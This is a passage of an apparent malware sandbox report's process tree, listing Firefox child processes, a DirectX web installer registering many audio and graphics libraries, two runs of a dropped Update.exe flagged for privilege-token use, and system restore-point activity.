    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4728 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4572 -prefMapHandle 4616 -prefsLen 32389 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5d537dd5-793b-4b3f-a2c1-c7d75f95a6ef} 792 "\\.\pipe\gecko-crash-server-pipe.792" utility
    3⤵
    - Checks processor information in registry
    PID:3204
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5576 -childID 3 -isForBrowser -prefsHandle 5596 -prefMapHandle 5592 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {059f0d89-7733-4677-9053-532b4fcfcb57} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:5976
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5684 -childID 4 -isForBrowser -prefsHandle 5728 -prefMapHandle 5736 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7ffbf517-b2c6-4e75-9e85-bd16e84ecdbb} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:6000
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5596 -childID 5 -isForBrowser -prefsHandle 5884 -prefMapHandle 5888 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4c43e70d-8c15-47e4-b30f-4c0cd5275b86} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:6024
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6356 -childID 6 -isForBrowser -prefsHandle 6368 -prefMapHandle 6344 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {af13484d-1467-4ee7-b877-ca59e8fa6f4e} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:3564
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4692 -childID 7 -isForBrowser -prefsHandle 4580 -prefMapHandle 6696 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5609071-ed84-4905-b469-1cdca900a3de} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:5272
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5788 -childID 8 -isForBrowser -prefsHandle 6636 -prefMapHandle 6620 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7d144b6d-95dc-4355-9c17-fa4dab79ba14} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:5280
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6024 -childID 9 -isForBrowser -prefsHandle 6100 -prefMapHandle 6080 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7f9cddbd-d053-4e3c-b221-7d30b82842c2} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:5308
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7380 -childID 10 -isForBrowser -prefsHandle 7224 -prefMapHandle 4056 -prefsLen 34239 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {27e65096-984f-44a8-848e-bfd155a477ec} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:10940
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7608 -childID 11 -isForBrowser -prefsHandle 4056 -prefMapHandle 7224 -prefsLen 28328 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2da7e6f8-bb81-46cf-bdf8-06d38bfc196f} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:11656
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3776 -childID 12 -isForBrowser -prefsHandle 4920 -prefMapHandle 7384 -prefsLen 28328 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0a6075eb-2a25-4dab-a92f-fd9c6a07e255} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:12032
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7800 -childID 13 -isForBrowser -prefsHandle 7692 -prefMapHandle 7544 -prefsLen 28389 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ba3a5b17-536d-4bdd-8854-a6846eafccb3} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:12492
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2876 -childID 14 -isForBrowser -prefsHandle 6056 -prefMapHandle 3116 -prefsLen 28389 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {10739a0b-6728-4613-85a8-ce0d5c62766d} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:13100

C:\Users\Admin\Downloads\dxwebsetup.exe
"C:\Users\Admin\Downloads\dxwebsetup.exe"
1⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:4812
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops desktop.ini file(s)
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:444
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_24_x64.inf
    3⤵
    - Executes dropped EXE
    PID:6460
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_25_x64.inf
    3⤵
    - Executes dropped EXE
    PID:1292
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_26_x64.inf
    3⤵
    - Executes dropped EXE
    PID:7284
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_27_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:7204
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_28_x64.inf
    3⤵
    - Executes dropped EXE
    PID:8036
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_29_x64.inf
    3⤵
    - Executes dropped EXE
    PID:7992
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:8348
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_0.dll
    3⤵
    - Loads dropped DLL
    - Modifies registry class
    PID:8392
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_30_x64.inf
    3⤵
    - Executes dropped EXE
    PID:9956
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT2_1_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:8892
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_1.dll
    3⤵
    - Loads dropped DLL
    PID:8708
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe xinput1_1_x64.inf, Install_Driver
    3⤵
    - Executes dropped EXE
    PID:10208
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT2_2_x64.inf
    3⤵
    - Executes dropped EXE
    PID:10520
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_2.dll
    3⤵
    - Loads dropped DLL
    - Modifies registry class
    PID:10440
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe xinput1_2_x64.inf, Install_Driver
    3⤵
    - Executes dropped EXE
    PID:10864
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT2_3_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:3784
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_3.dll
    3⤵
    - Loads dropped DLL
    PID:11060
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_31_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:11448
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT2_4_x64.inf
    3⤵
    - Executes dropped EXE
    PID:11860
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_4.dll
    3⤵
    - Loads dropped DLL
    - Modifies registry class
    PID:11980
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_32_x64.inf
    3⤵
    - Executes dropped EXE
    PID:6956
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_00_x64.inf
    3⤵
    - Executes dropped EXE
    PID:12404
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT2_5_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:12740
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_5.dll
    3⤵
    - Loads dropped DLL
    PID:5664
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT2_6_x64.inf
    3⤵
    - Executes dropped EXE
    PID:13116
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_6.dll
    3⤵
    PID:13492
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_33_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:13384
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_33_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:13844
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT2_7_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:640
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_7.dll
    3⤵
    PID:5912
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe xinput1_3_x64.inf, Install_Driver
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:1276
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_34_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:1816
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_34_x64.inf
    3⤵
    - Executes dropped EXE
    PID:15068
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT2_8_x64.inf
    3⤵
    - Executes dropped EXE
    PID:14236
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_8.dll
    3⤵
    - Modifies registry class
    PID:14168
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_35_x64.inf
    3⤵
    - Executes dropped EXE
    PID:14040
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_35_x64.inf
    3⤵
    - Executes dropped EXE
    PID:16020
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT2_9_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:16052
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_9.dll
    3⤵
    - Modifies registry class
    PID:15944
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx9_36_x64.inf
    3⤵
    - Executes dropped EXE
    PID:1232
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_36_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:6752
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe X3DAudio1_2_x64.inf
    3⤵
    - Executes dropped EXE
    PID:6628
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT2_10_x64.inf
    3⤵
    - Executes dropped EXE
    PID:7104
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_10.dll
    3⤵
    - Modifies registry class
    PID:7432
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe D3DX9_37_x64.inf
    3⤵
    - Executes dropped EXE
    PID:6788
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_37_x64.inf
    3⤵
    - Executes dropped EXE
    PID:7520
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe X3DAudio1_3_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:7792
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT3_0_x64.inf
    3⤵
    - Executes dropped EXE
    PID:8020
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine3_0.dll
    3⤵
    - Modifies registry class
    PID:9964
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XAudio2_0_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:8488
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\XAudio2_0.dll
    3⤵
    PID:8464
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe D3DX9_38_x64.inf
    3⤵
    - Executes dropped EXE
    PID:9972
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_38_x64.inf
    3⤵
    - Executes dropped EXE
    PID:9656
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe X3DAudio1_4_x64.inf
    3⤵
    - Executes dropped EXE
    PID:9292
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT3_1_x64.inf
    3⤵
    - Executes dropped EXE
    PID:8968
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine3_1.dll
    3⤵
    - Modifies registry class
    PID:10040
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XAudio2_1_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:10144
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\XAudio2_1.dll
    3⤵
    - Modifies registry class
    PID:8656
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe D3DX9_39_x64.inf
    3⤵
    - Executes dropped EXE
    PID:10268
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_39_x64.inf
    3⤵
    - Executes dropped EXE
    PID:10796
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT3_2_x64.inf
    3⤵
    - Executes dropped EXE
    PID:11012
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine3_2.dll
    3⤵
    - Modifies registry class
    PID:10944
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XAudio2_2_x64.inf
    3⤵
    - Executes dropped EXE
    PID:5568
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\XAudio2_2.dll
    3⤵
    - Modifies registry class
    PID:11356
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe X3DAudio1_5_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:11544
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT3_3_x64.inf
    3⤵
    - Executes dropped EXE
    PID:15604
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine3_3.dll
    3⤵
    PID:11844
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XAudio2_3_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:12304
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\XAudio2_3.dll
    3⤵
    - Modifies registry class
    PID:12340
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe D3DX9_40_x64.inf
    3⤵
    - Executes dropped EXE
    PID:12360
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_40_x64.inf
    3⤵
    - Executes dropped EXE
    PID:12768
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe X3DAudio1_6_x64.inf
    3⤵
    - Executes dropped EXE
    PID:12996
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT3_4_x64.inf
    3⤵
    - Executes dropped EXE
    PID:13316
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine3_4.dll
    3⤵
    PID:13300
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XAudio2_4_x64.inf
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:13736
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\XAudio2_4.dll
    3⤵
    - Modifies registry class
    PID:13728
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe D3DX9_41_x64.inf
    3⤵
    - Executes dropped EXE
    PID:2268
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_41_x64.inf
    3⤵
    PID:5836
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe D3DX9_42_x64.inf
    3⤵
    PID:6164
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_42_x64.inf
    3⤵
    - Drops file in System32 directory
    PID:14008
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx11_42_x64.inf
    3⤵
    PID:2740
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dcsx_42_x64.inf
    3⤵
    PID:14880
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe D3DCompiler_42_x64.inf
    3⤵
    - Drops file in System32 directory
    PID:14532
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT3_5_x64.inf
    3⤵
    PID:1264
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine3_5.dll
    3⤵
    - Modifies registry class
    PID:15812
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XAudio2_5_x64.inf
    3⤵
    PID:15612
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\XAudio2_5.dll
    3⤵
    - Modifies registry class
    PID:15528
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe X3DAudio1_7_x64.inf
    3⤵
    PID:6112
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT3_6_x64.inf
    3⤵
    PID:1288
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine3_6.dll
    3⤵
    PID:6268
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XAudio2_6_x64.inf
    3⤵
    PID:6576
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\XAudio2_6.dll
    3⤵
    - Modifies registry class
    PID:6620
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe D3DX9_43_x64.inf
    3⤵
    PID:6744
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx10_43_x64.inf
    3⤵
    PID:6820
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dx11_43_x64.inf
    3⤵
    - Drops file in Windows directory
    PID:6968
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe d3dcsx_43_x64.inf
    3⤵
    PID:7928
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe D3DCompiler_43_x64.inf
    3⤵
    PID:7836
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XACT3_7_x64.inf
    3⤵
    PID:8264
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine3_7.dll
    3⤵
    - Modifies registry class
    PID:8212
- - C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe
    C:\Users\Admin\AppData\Local\Temp\DX7863.tmp\infinst.exe XAudio2_7_x64.inf
    3⤵
    PID:15020
- - C:\Windows\system32\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\XAudio2_7.dll
    3⤵
    - Modifies registry class
    PID:8608

C:\Users\Admin\AppData\Roaming\Update.exe
"C:\Users\Admin\AppData\Roaming\Update.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4660

C:\Users\Admin\AppData\Roaming\Update.exe
"C:\Users\Admin\AppData\Roaming\Update.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:14612

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:14980

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:4
1⤵
